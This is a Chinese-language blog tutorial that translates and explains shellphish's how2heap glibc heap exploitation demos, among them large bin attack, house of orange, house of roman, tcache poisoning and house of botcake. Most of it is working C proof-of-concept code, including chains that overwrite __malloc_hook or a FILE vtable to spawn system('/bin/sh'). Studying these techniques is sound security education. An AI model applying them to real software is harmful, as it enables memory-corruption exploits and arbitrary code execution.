前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >how2heap学习(下)

how2heap学习(下)

作者头像
yichen
发布2020-12-11 11:48:59
5910
发布2020-12-11 11:48:59
举报
文章被收录于专栏:陈冠男的游戏人生
代码语言:javascript
复制
语雀文档地址
https://www.yuque.com/hxfqg9/bin/ape5up
涉及的代码文件在 github 也有
https://github.com/yichen115/how2heap_zh

how2heap 是 shellphish 团队在 github 上面分享的用来学习各种堆利用手法的项目

我主要是把 how2heap 代码里面的文字说明用谷歌结合调试时的理解给翻译了一下

large_bin_attack

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include<stdio.h>
#include<stdlib.h>
 
int main()
{
    fprintf(stderr, "根据原文描述跟 unsorted bin attack 实现的功能差不多,都是把一个地址的值改为一个很大的数\n\n");

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    fprintf(stderr, "先来看一下目标:\n");
    fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1);
    fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);

    unsigned long *p1 = malloc(0x320);
    fprintf(stderr, "分配第一个 large chunk: %p\n", p1 - 2);

    fprintf(stderr, "再分配一个 fastbin 大小的 chunk,来避免 free 的时候下一个 large chunk 与第一个合并了\n\n");
    malloc(0x20);

    unsigned long *p2 = malloc(0x400);
    fprintf(stderr, "申请第二个 large chunk 在: %p\n", p2 - 2);

    fprintf(stderr, "同样在分配一个 fastbin 大小的 chunk 防止合并掉\n\n");
    malloc(0x20);

    unsigned long *p3 = malloc(0x400);
    fprintf(stderr, "最后申请第三个 large chunk 在: %p\n", p3 - 2);
 
    fprintf(stderr, "申请一个 fastbin 大小的防止 free 的时候第三个 large chunk 与 top chunk 合并\n\n");
    malloc(0x20);
 
    free(p1);
    free(p2);
    fprintf(stderr, "free 掉第一个和第二个 chunk,他们会被放在 unsorted bin 中 [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));

    malloc(0x90);
    fprintf(stderr, "现在去申请一个比他俩小的,然后会把第一个分割出来,第二个则被整理到 largebin 中,第一个剩下的会放回到 unsortedbin 中 [ %p ]\n\n", (void *)((char *)p1 + 0x90));

    free(p3);
    fprintf(stderr, "free 掉第三个,他会被放到 unsorted bin 中: [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));

    fprintf(stderr, "假设有个漏洞,可以覆盖掉第二个 chunk 的 \"size\" 以及 \"bk\"、\"bk_nextsize\" 指针\n");
    fprintf(stderr, "减少释放的第二个 chunk 的大小强制 malloc 把将要释放的第三个 large chunk 插入到 largebin 列表的头部(largebin 会按照大小排序)。覆盖掉栈变量。覆盖 bk 为 stack_var1-0x10,bk_nextsize 为 stack_var2-0x20\n\n");

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);

    malloc(0x90);
    fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");
    fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
    fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
    return 0;
}

gcc -g 1.c

首先申请了几个 chunk

接下来释放掉前两个

接下来去申请一个 0x90 大小的,他会把前面那个 0x320 大小的切割

同时因为我们去申请了,他就会给 unsortedbin 中的 free chunk 进行整理划分,把那两块大的放到 largebin

接下来去修改 p2,之前:

之后:

我们伪造的分别是 p2 的 size、bk 以及 bk_nextsize,接下来申请一个 chunk,这样的话 p3 就会被整理到 largebin

而 largebin 是按照从大到小排序的,所以需要进行排序,排序的操作大概是:

代码语言:javascript
复制
//victim是p3、fwd是修改后的p2
{
    victim->fd_nextsize = fwd;//1
    victim->bk_nextsize = fwd->bk_nextsize;//2
    fwd->bk_nextsize = victim;//3
    victim->bk_nextsize->fd_nextsize = victim;//4
}
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;

把 2 带入 4 得到:fwd->bk_nextsize->fd_nextsize=victim

同时下面有:fwd->bk=victim

也就是说之前我们伪造的 p2 的 bk 跟 bk_nextsize 指向的地址被改为了 victim

即 (unsigned long)(&stack_var1 - 2) 与 (unsigned long)(&stack_var2 - 4) 被改为了 victim

house_of_einherjar

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);

    uint8_t* a;
    uint8_t* b;
    uint8_t* d;

    printf("\n申请 0x38 作为 chunk a\n");
    a = (uint8_t*) malloc(0x38);
    printf("chunk a 在: %p\n", a);
   
    int real_a_size = malloc_usable_size(a);
    printf("malloc_usable_size()可以返回指针所指向的 chunk 不包含头部的大小,chunk a 的 size: %#x\n", real_a_size);

    // create a fake chunk
    printf("\n接下来在栈上伪造 chunk,并且设置 fd、bk、fd_nextsize、bk_nextsize 来绕过 unlink 的检查\n");

    size_t fake_chunk[6];

    fake_chunk[0] = 0x100; // prev_size 必须要等于 fake_chunk 的 size 才能绕过 P->bk->size == P->prev_size
    fake_chunk[1] = 0x100; // size 只要能够整理到 small bin 中就可以了
    fake_chunk[2] = (size_t) fake_chunk; // fd
    fake_chunk[3] = (size_t) fake_chunk; // bk
    fake_chunk[4] = (size_t) fake_chunk; //fd_nextsize
    fake_chunk[5] = (size_t) fake_chunk; //bk_nextsize
    printf("我们伪造的 fake chunk 在 %p\n", fake_chunk);
    printf("prev_size (not used): %#lx\n", fake_chunk[0]);
    printf("size: %#lx\n", fake_chunk[1]);
    printf("fd: %#lx\n", fake_chunk[2]);
    printf("bk: %#lx\n", fake_chunk[3]);
    printf("fd_nextsize: %#lx\n", fake_chunk[4]);
    printf("bk_nextsize: %#lx\n", fake_chunk[5]);

    b = (uint8_t*) malloc(0xf8);
    int real_b_size = malloc_usable_size(b);
    printf("\n再去申请 0xf8 chunk b.\n");
    printf("chunk b 在: %p\n", b);

    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    printf("\nb 的 size: %#lx\n", *b_size_ptr);
    printf("b 的 大小是: 0x100,prev_inuse 有个 1,所以显示 0x101\n");
    printf("假设有个 off by null 的漏洞,可以通过编辑 a 的时候把 b 的 prev_inuse 改成 0\n");
    a[real_a_size] = 0;
    printf("b 现在的 size: %#lx\n", *b_size_ptr);

    printf("\n我们伪造一个 prev_size 写到 a 的最后 %lu 个字节,以便 chunk b 与我们的 fake chunk 的合并\n", sizeof(size_t));
    size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
    printf("\n我们伪造的 prev_size 将会是 chunk b 的带 chunk 头的地址 %p - fake_chunk 的地址 %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
    *(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

    printf("\n接下来要把 fake chunk 的 size 改掉,来通过 size(P) == prev_size(next_chunk(P)) 检查\n");
    fake_chunk[1] = fake_size;

    printf("\nfree b,首先会跟 top chunk 合并,然后因为 b 的 prev_size 是 0,所以会跟前面的 fake chunk 合并,glibc 寻找空闲块的方法是 chunk_at_offset(p, -((long) prevsize)),这样算的话 b+fake_prev_size 得到 fake chunk 的地址,然后合并到 top chunk,新的 topchunk 的起点就是 fake chunk,再次申请就会从 top chunk 那里申请\n");
    free(b);
    printf("现在 fake chunk 的 size 是 %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);

    printf("\n现在如果去 malloc,他就会申请到伪造的那个 chunk\n");
    d = malloc(0x200);
    printf("malloc(0x200) 在 %p\n", d);
}

首先申请了一个 chunk a,然后在栈上伪造了一个 chunk,为了绕过 unlink 的检查,先把 fd、bk、fd_nextsize、bk_nextsize 直接写成我们 fake_chunk 的地址

然后申请一个 chunk b,因为前面申请的 chunk 的大小是 0x38,所以 chunk a 共用了 chunk b 的 chunk 头的 0x8,也就是说我们写 chunk a 的最后 0x8 字节可以直接更改掉 chunk b 的 prev_size,这里为了让他能找到我们的 fake chunk,所以用 chunk b 的地址减去 fake chunk 的地址,0x603040-0x7fffffffdca0=0xffff8000006053a0

同时假设存在一个 off by null 的漏洞,可以更改掉 chunk b 的 prev_inuse 为 0

然后我们释放掉 b,这时候 b 因为与 top chunk 挨着,会跟 top chunk 合并,然后因为 prev_inuse 是 0,所以会根据 prev_size 去找前面的 free chunk,然而 prev_size 被我们改了,他去找的时候找到的是 fake chunk,然后两个合并,新的 top chunk 起点就成了 fake chunk,再次分配的时候就会分配到 fake chunk 那里了

house_of_orange

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int winner ( char *ptr);
int main()
{
    char *p1, *p2;
    size_t io_list_all, *top;
    fprintf(stderr, "首先 malloc 一块 0x400 大小的 chunk\n");
    p1 = malloc(0x400-16);
    fprintf(stderr, "假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01\n");
    top = (size_t *) ( (char *) p1 + 0x400 - 16);
    top[1] = 0xc01;
    fprintf(stderr, "再去 malloc 一个挺大的 chunk 的时候,因为 top chunk 不够大所以会把现在的 top chunk 给 free 掉,我们称它为 old top chunk\n");
    p2 = malloc(0x1000);
    fprintf(stderr, "这时候 top[2] 跟 top[3] 是 unsortedbin 的地址了,然后 _IO_list_all 跟 unsortedbin 的偏移是 0x9a8,计算得到 _IO_list_all\n");
    io_list_all = top[2] + 0x9a8;
    fprintf(stderr, "设置 old top chunk 的 bk 指针为 io_list_all - 0x10 待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址\n");
    top[3] = io_list_all - 0x10;
    fprintf(stderr, "将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样\n");
    memcpy( ( char *) top, "/bin/sh\x00", 8);
    top[1] = 0x61;
    _IO_FILE *fp = (_IO_FILE *) top;
    fprintf(stderr, "后面就是为了满足一些检查了,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr\n");
    fp->_mode = 0;
    fp->_IO_write_base = (char *) 2;
    fp->_IO_write_ptr = (char *) 3;
    fprintf(stderr, "然后定位到 jump_table[3] 也就是 _IO_OVERFLOW 改为 system 函数的地址\n");
    size_t *jump_table = &top[12];
    jump_table[3] = (size_t) &winner;
  fprintf(stderr, "最后把 io_list_all 的 vatble 改为我们想让他找的那个 jump_table,然后去 malloc 一个触发就可以了\n");
    *(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
    malloc(10);
    return 0;
}

int winner(char *ptr)
{
    system(ptr);
    return 0;
}

一开始申请了一个 chunk,此时 top chunk 的 size 是 0x20c00

假设有个溢出的漏洞,可以把 top chunk 的 size 给修改掉,改成一个小的数

再去 malloc 一个比较大的数的时候,原本的 top chunk 不够分给它的,所以就会被放到 unsorted bin 中,可以看到 fd、bk 被改成了 unsorted bin 的地址

然后 unsorted bin 的地址跟 _IO_list_all 的地址偏移是 0x9a8,可以得到 _IO_list_all 的地址

修改掉 unsortedbin 的 bk 指针,等到 malloc 的时候利用 unsortedbin attack 把 _IO_list_all 改为 unsorted bin 的地址,然后把 old top chunk 写上 '/bin/sh' 并且去修改掉 old top chunk 的 size 为 0x61,为啥改为这个大小后面会说

然后对 old top chunk 进行修改去满足检查条件

代码语言:javascript
复制
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;

然后把 jump_table 指向 &top[12],再把 jump_table[3] 改为我们想要执行的那个函数的地址,然后让 vtable 指向 jump_table

代码语言:javascript
复制
size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner;
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;

因为 unsorted bin 被改掉了当 malloc 的时候会出错,会依次调用 malloc_printerr、 __libc_message、abort()、_IO_flush_all_lockp(),在调用 _IO_flush_all_lockp() 的时候需要在 vtable 中找 _IO_OVERFLOW,而 _IO_OVERFLOW 我们已经覆盖掉为 winner 的地址了,而早在之前我们就把前面写上了 '/bin/sh' 这样就可以达到执行 system('/bin/sh') 了

害,其实就是这样的:通过 unsorted bin attack 把 _IO_list_all 改成 unsorted bin 的地址,然后因为我们把 old top chunk 的 size 改为了 0x61 属于 smallbin,恰好这个大小的 smallbin 相对 unsorted bin 的偏移与 _chain 相对 _IO_list_all 的偏移是一样的

(感觉不太准确,但大概是这么个意思)

而通过 unsorted bin attack 我们把 _IO_list_all 改成了 unsorted bin 的地址,这样 _chain 指向的就是 old top chunk 的地址了

我们的那些伪造的操作也是在 old top chunk 上做的,我对 how2heap 的代码做了点替换,对着下面的图片与偏移更容易理解是怎么伪造的

代码语言:javascript
复制
    //fp->_mode = 0;
    top[24] = 0;
    //fp->_IO_write_base = (char *) 2;
    top[4]=(char *)2;
    //fp->_IO_write_ptr = (char *) 3;
    top[5]=(char *)3;
    //size_t *jump_table = &top[12];
    //jump_table[3] = (size_t) &winner;
    top[15]=(size_t) &winner;
    //*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
    top[27]= (size_t) &top[12];

house_of_roman

ubuntu16.04 glibc 2.23

代码语言:javascript
复制
#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

void* init(){
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
}

int main(){
    char* introduction = "\n欢迎学习 House of Roman\n\n"
                 "这是一种无泄漏的堆利用技术\n"
                 "攻击分为三个阶段: \n\n"
                 "1. 通过低位地址改写使 fastbin chunk 的 fd 指针指向 __malloc_hook.\n"
                 "2. 通过 unsortedbin attack 把 main_arena 写到 malloc_hook 上.\n"
                 "3. 通过低位地址修改 __malloc_hook 为 one_gadget.\n\n";
    puts(introduction); 
    init();

    puts("第一步: 让 fastbin chunk 的 fd 指针指向 __malloc_hook\n\n");
    puts("总共申请了 4 个 chunk,分别称为 chunk1、2、3、4,我感觉 chunk123 比一串英文更好记 Orz\n注意我们去 malloc 的时候指针所指向的类型是 uint8_t,实际上就是 char,一个字节\n");
    uint8_t* chunk1 = malloc(0x60); //chunk1
    malloc(0x80); //chunk2
    uint8_t* chunk3 = malloc(0x80); //chunk3
    uint8_t* chunk4 = malloc(0x60); //chunk4
    
    puts("free 掉 chunk3,会被放进 unsorted bin 中,在他的 fd、bk 将变为 unsorted bin 的地址");
    free(chunk3);

    puts("这时候去 malloc 一个(chunk3_1),会从 unsorted bin 中分割出来,同时我们也拿到了 unsorted bin 的地址\n");
    uint8_t* chunk3_1 = malloc(0x60); 
    puts("通过 unsorted bin 的地址计算出 __malloc_hook\n");
    long long __malloc_hook = ((long*)chunk3_1)[0] - 0xe8;

    free(chunk4); 
    free(chunk1);
    puts("依次释放掉 chunk4、chunk1,后进先出,这时候 fastbin 链表是:fastbin 0x70 -> chunk1 -> chunk4\n");
    puts("如果改掉 chunk1 的 fd 指针最后一个字节为 0,这个链表将会变为:fastbin 0x70 -> chunk1 -> chunk3_1 -> chunk3_1 的 fd\n");
    chunk1[0] = 0x00;
    
    puts("chunk3_1 的 fd 是我们可以修改掉的,通过修改后几位,将其改为 __malloc_hook - 0x23\n");
    long long __malloc_hook_adjust = __malloc_hook - 0x23; 

    int8_t byte1 = (__malloc_hook_adjust) & 0xff;   
    int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 
    chunk3_1[0] = byte1;
    chunk3_1[1] = byte2;

    puts("接下来连续 malloc 两次,把 fastbin 中的 chunk malloc 回去,再次 malloc 就能拿到一个指向 __malloc_hook 附近的 chunk()\n");
    malloc(0x60);
    malloc(0x60);
    uint8_t* malloc_hook_chunk = malloc(0x60);  
    puts("在真正的漏洞利用中,由于 malloc_hook 的最后半字节是随机的,因此失败了15/16次\n"); 

    puts("第二步:Unsorted_bin attack,使我们能够将较大的值写入任意位置。这个较大的值为 main_arena + 0x68。我们通过 unsorted bin attack 把 __malloc_hook 写为 unsortedbin 的地址,这样只需要改低几个字节就可以把 __malloc_hook 改为 system 的地址了。\n");

    uint8_t* chunk5 = malloc(0x80);   
    malloc(0x30); // 防止合并

    puts("把 chunk 放到 unsorted_bin\n");
    free(chunk5);

    __malloc_hook_adjust = __malloc_hook - 0x10; 
    byte1 = (__malloc_hook_adjust) & 0xff;  
    byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 

    puts("覆盖块的最后两个字节使得 bk 为 __malloc_hook-0x10\n");
    chunk5[8] = byte1;
    chunk5[9] = byte2;

    puts("触发 unsorted bin attack\n");
    malloc(0x80); 

    long long system_addr = (long long)dlsym(RTLD_NEXT, "system");
    //这个 dlsym 是用来获得 system 地址的
    puts("第三步:将 __malloc_hook 设置为 system/one_gadget\n\n");
    puts("现在,__malloc_hook 的值是 unsortedbin 的地址,只需要把后几位改掉就行了\n");
    malloc_hook_chunk[19] = system_addr & 0xff;
    malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;
    malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;
    malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; 
    puts("拿到 Shell!");
    malloc((long long)shell);
}

编译 gcc -g 1.c -ldl

一开始 malloc 了 4 块 chunk(这里称为 chunk1\2\3\4)

free 掉 chunk3,因为它的大小不属于 fastbin 的范围,所以放到了 unsorted bin 中,所以他的 fd、bk 指针指向了 unsorted bin 的地址

再去 malloc 回来一个 0x60 大小的 chunk,会从之前的那个 unsorted bin 中划分出来(这块就叫 chunk3_1)

计算出 __malloc_hook 的地址,完全是根据偏移算出来的

free 掉 chunk4 和 chunk1

把 chunk1 的 fd 指针的末尾改为 0x00,这样它的 fd 指针就指向了 chunk3_1,同时把 chunk3_1 的 fd 从本来的 unsorted bin 的地址改为 __malloc_hook - 0x23

malloc 两次时候再去 malloc 的时候就会申请到修改的 fd 指针那里,也就是 __malloc_hook - 0x23

(这个 chunk 称为 malloc_hook_chunk)

再去 malloc 一个用 chunk5 来进行 unsorted bin attack(后面还申请一个 0x30 的防止与 top chunk 合并)

free 之后修改 chunk5 的 bk 指针为 __malloc_hook - 0x10

然后 malloc 执行 unsorted bin attack,把 malloc_hook 改为 unsorted bin 的地址

(这么做应该是因为没法泄漏 libc 基址,所以通过这种方法把高位的几个字节直接放好,只修改后面的就行了)

修改低几个字节,把 system 或者 one_gadget 的地址通过前面的 malloc_hook_chunk 写入 __malloc_hook

这样 __malloc_hook 就是 system 的地址了,然后去 malloc 的时候就能拿到 shell 了

tcache_dup

ubuntu18.04 glibc 2.27

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>

int main()
{
  fprintf(stderr, "先申请一块内存\n");
  int *a = malloc(8);

  fprintf(stderr, "申请的内存地址是: %p\n", a);
  fprintf(stderr, "对这块内存地址 free两次\n");
  free(a);
  free(a);

  fprintf(stderr, "这时候链表是这样的 [ %p, %p ].\n", a, a);
  fprintf(stderr, "接下来再去 malloc 两次: [ %p, %p ].\n", malloc(8), malloc(8));
    fprintf(stderr, "ojbk\n");
  return 0;
}

gcc -g tcache_dup.c

运行之后的结果:

一开始申请了 0x8 大小的 chunk,后来 free了两次

然后再去申请的话也会申请这俩在 tcache 中的,所以后面输出的 malloc 的地址还是一样的

tcache_poisoning

ubuntu18.04 glibc 2.27

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main()
{
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    size_t stack_var;
    printf("定义了一个变量 stack_var,我们想让程序 malloc 到这里 %p.\n", (char *)&stack_var);

    printf("接下来申请两个 chunk\n");
    intptr_t *a = malloc(128);
    printf("chunk a 在: %p\n", a);
    intptr_t *b = malloc(128);
    printf("chunk b 在: %p\n", b);

    printf("free 掉这两个 chunk\n");
    free(a);
    free(b);

    printf("现在 tcache 那个链表是这样的 [ %p -> %p ].\n", b, a);
    printf("我们把 %p 的前 %lu 字节(也就是 fd/next 指针)改成 stack_var 的地址:%p", b, sizeof(intptr_t), &stack_var);
    b[0] = (intptr_t)&stack_var;
    printf("现在 tcache 链表是这样的 [ %p -> %p ].\n", b, &stack_var);

    printf("然后一次 malloc : %p\n", malloc(128));
    printf("现在 tcache 链表是这样的 [ %p ].\n", &stack_var);

    intptr_t *c = malloc(128);
    printf("第二次 malloc: %p\n", c);
    printf("ojbk\n");

    return 0;
}

程序首先定义了一个变量,我们想要做的就是让程序 malloc 到变量那里

malloc 两个 chunk,然后 free 掉,这时候链表及内存布局是这样的

然后把 b 的 fd 指针改成那个变量地址

这时候 tcache 的链表是这样的

然后连续申请两个 chunk,来看一下申请到的地址是啥样的

tcache_house_of_spirit

ubuntu18.04 glibc 2.27

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>

int main()
{
    malloc(1);
    unsigned long long *a;
    unsigned long long fake_chunks[10];
    fprintf(stderr, "fake_chunks[1] 在 %p\n", &fake_chunks[1]);
    fprintf(stderr, "fake_chunks[1] 改成 0x40 \n");
    fake_chunks[1] = 0x40;
    fprintf(stderr, "把 fake_chunks[2] 的地址赋给 a, %p.\n", &fake_chunks[2]);
    a = &fake_chunks[2];
    fprintf(stderr, "free 掉 a\n");
    free(a);
    fprintf(stderr, "再去 malloc(0x30),在可以看到申请来的结果在: %p\n", malloc(0x30));
    fprintf(stderr, "ojbk\n");
}

首先取了一个数组

然后把数组的 index1 改成了 0x40(chunk 的大小)

然后把数组的 index2 的地址赋给了 a,之后去 free a,再去申请回来的话就会把 a 申请回来,这样就申请了 fake chunks[2] 那里

house_of_botcake

ubuntu20.04 glibc 2.31

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    puts("house_of_botcake 是针对 glibc2.29 对 tcache double free 做出限制以后提出的利用方法");
    intptr_t stack_var[4];
    printf("我们希望 malloc 到的地址是 %p.\n\n", stack_var);

    puts("malloc 7 个 chunk 以便稍后填满 tcache");
    intptr_t *x[7];
    for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
        x[i] = malloc(0x100);
    }

    intptr_t *prev = malloc(0x100);
    printf("malloc(0x100): prev=%p. 待会用\n", prev); 
    intptr_t *a = malloc(0x100);
    printf("再 malloc(0x100): a=%p. 作为攻击的 chunk\n", a); 
    puts("最后 malloc(0x10) 防止与 top chunk 合并\n");
    malloc(0x10);
    
    puts("接下来构造 chunk overlapping");
    puts("第一步: 填满 tcache 链表");
    for(int i=0; i<7; i++){
        free(x[i]);
    }
    puts("第二步: free 掉 chunk a,放入 unsorted bin 中");
    free(a);
    
    puts("第三步: 释放掉 chunk prev 因为后面是一个 free chunk,所以他会与 chunk a 合并");
    free(prev);
    
    puts("第四步: 这时候已经没有指向 chunk a 的指针了,从 tcache 中取出一个,然后再次 free(a) 就把 chunk a 加入到了 tcache 中,造成了 double free \n");
    malloc(0x100);
    free(a);

    puts("再去 malloc 一个 0x120 会从 unsorted bin 中分割出来,也就控制了前面已经合并的那个 chunk a 了");
    intptr_t *b = malloc(0x120);
    puts("把 chunk a 的指针给改为前面声明的 stack_var 的地址");
    b[0x120/8-2] = (long)stack_var;
    malloc(0x100);
    puts("去 malloc 一个就能申请到 stack_var 了");
    intptr_t *c = malloc(0x100);
    printf("新申请的 chunk 在:%p\n", c);
    return 0;
}

这是 glibc2.29 对 tcache double free 做出限制以后提出的利用方法

程序定义了一个 stack_var,希望能够控制 malloc 到这里去

一开始先申请了 7 个 chunk,是为了能够天充满一个 tcache 链表

然后申请了一个 chunk prev 一个 chunk a,待会就会对 chunk a 进行 double free

首先把那 7 个给 free 掉,填满 tcache 链表

那接下来释放的 chunk a 会放到 unsorted bin 中

再去释放 chunk prev 的时候两个会合并

此时已经没有指向 chunk a 的了,malloc 一次从 tcache 中去除一个来

再去 free a 就能把 chunk a 放进 tcache 链表中

而 chunk a 已经跟 chunk prev合起来放在 unsorted bin 中了

当再去 malloc 一个比较大的(比如 0x120)会去 unsorted bin 中切割,因为本来 chunk prev 是 0x100,后面的属于 chunk a 的了,也就是 chunk overlapping 改掉了 chunk a 的 fd 指针

那去申请一个返回 chunk a,再申请的时候就是 chunk a 的 fd 指向的那里了,也就是 stack_var

tcache_stashing_unlink_attack

ubuntu18.04 glibc 2.27

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;
    unsigned long *pp;

    fprintf(stderr, "stack_var 是我们希望分配到的地址,我们首先把 &stack_var[2] 写到 stack_var[3] 来绕过 glibc 的 bck->fd=bin(即 fake chunk->bk 应该是一个可写的地址)\n");
    stack_var[3] = (unsigned long)(&stack_var[2]);
    fprintf(stderr, "修改之后 fake_chunk->bk 是:%p\n",(void*)stack_var[3]);
    fprintf(stderr, "stack_var[4] 的初始值是:%p\n",(void*)stack_var[4]);
    fprintf(stderr, "现在申请 9 个 0x90 的 chunk\n");

    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }
    fprintf(stderr, "先释放 6 个,这 6 个都会放到 tcache 里面\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }
    fprintf(stderr, "接下来的释放的三个里面第一个是最后一个放到 tcache 里面的,后面的都会放到 unsortedbin 中\n");
    
    free(chunk_lis[1]);
    //接下来的就是放到 unsortedbin 了
    free(chunk_lis[0]);
    free(chunk_lis[2]);
    fprintf(stderr, "接下来申请一个大于 0x90 的 chunk,chunk0 和 chunk2 都会被整理到 smallbin 中\n");
    malloc(0xa0);//>0x90
    
    fprintf(stderr, "然后再去从 tcache 中申请两个 0x90 大小的 chunk\n");
    malloc(0x90);
    malloc(0x90);

    fprintf(stderr, "假设有个漏洞,可以把 victim->bk 的指针改写成 fake_chunk 的地址: %p\n",(void*)stack_var);
    chunk_lis[2][1] = (unsigned long)stack_var;
    fprintf(stderr, "现在 calloc 申请一个 0x90 大小的 chunk,他会把一个 smallbin 里的 chunk0 返回给我们,另一个 smallbin 的 chunk2 将会与 tcache 相连.\n");
    pp = calloc(1,0x90);
    
    fprintf(stderr, "这时候我们的 fake_chunk 已经放到了 tcache bin[0xa0] 这个链表中,它的 fd 指针现在指向下一个空闲的块: %p, bck->fd 已经变成了 libc 的地址: %p\n",(void*)stack_var[2],(void*)stack_var[4]);
    target = malloc(0x90);  
    fprintf(stderr, "再次 malloc 0x90 可以看到申请到了 fake_chunk: %p\n",(void*)target); 
    fprintf(stderr, "ojbk\n");
    return 0;
}

在 tcache 有剩余(不够 7 个)的时候,smallbin 中的相同大小空闲块会放入 tcache 中,这时候也会出现 unlink 操作

calloc 在分配时不会用 tcache bin 的

首先把 7 个放到 tcache bin 中,剩下两个放在 unsorted bin 中

0x555555757250 是 chunk0,0x555555757390 是 chunk2

这时候去申请一个 0xa0 大小的 chunk,那俩在 unsorted bin 中的 chunk 整理放在了 small bin 中

再去申请两个 0x90 大小的会从 tcache bin 中分配,这时候 tcache 还剩 5 个

然后把 chunk2 的 bk 改成 &stack_var,在一开始是这样的

改后:

另外此时的 bins

使用 calloc 去申请 0x90 大小的 chunk 会把 0x555555757250 申请出去,这时候如果 tcachebin 还有空闲的位置,剩下的 smallbin 从最后一个 0x7fffffffddc0 开始顺着 bk 链接到 tcachebin 中

https://dayjun.top/2020/02/07/smallbin在unlink的时候存在的漏洞/

tcache 是后进先出的,所以这时候再去申请就拿到了 0x7fffffffddc0 这个地址的 chunk

fastbin_reverse_into_tcache

ubuntu18.04 glibc 2.27

代码语言:javascript
复制
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

const size_t allocsize = 0x40;

int main(){
  setbuf(stdout, NULL);
  printf("\n想要实现类似 unsorted bin attack 的效果\n\n");

  char* ptrs[14];
  size_t i;
  for (i = 0; i < 14; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf("首先 free 七次填满 tcache 链表\n\n");
  for (i = 0; i < 7; i++) {
    free(ptrs[i]);
  }

  char* victim = ptrs[7];
  printf("接下来要释放的这个 %p 因为 tcache 已经满了,所以不会放到 tcache 里边,进入 fastbin 的链中\n\n",victim);
  free(victim);

  printf("接下来,我们需要释放1至6个指针。这些也将进入fastbin。如果要覆盖的堆栈地址不为零,则需要再释放6个指针,否则攻击将导致分段错误。但是,如果堆栈上的值为零,那么一个空闲就足够了。\n\n");
  for (i = 8; i < 14; i++) {
    free(ptrs[i]);
  }

  size_t stack_var[6];
  memset(stack_var, 0xcd, sizeof(stack_var));
  printf("定义了一个栈上面的数组,我们打算修改的地址是 %p,现在的值是 %p\n",&stack_var[2],(char*)stack_var[2]);

  printf("假设存在堆溢出或者 UAF 之类的漏洞能修改 %p 的 fd 指针为 stack_var 的地址\n\n",victim);
  *(size_t**)victim = &stack_var[0];

  printf("接下来 malloc 7 次清空 tcache\n\n");
  for (i = 0; i < 7; i++) {
    ptrs[i] = malloc(allocsize);
  }

  printf("下面输出一下 stack_var 的内容,看一下现在是啥\n\n");
  for (i = 0; i < 6; i++) {
    printf("%p: %p\n", &stack_var[i], (char*)stack_var[i]);
  }

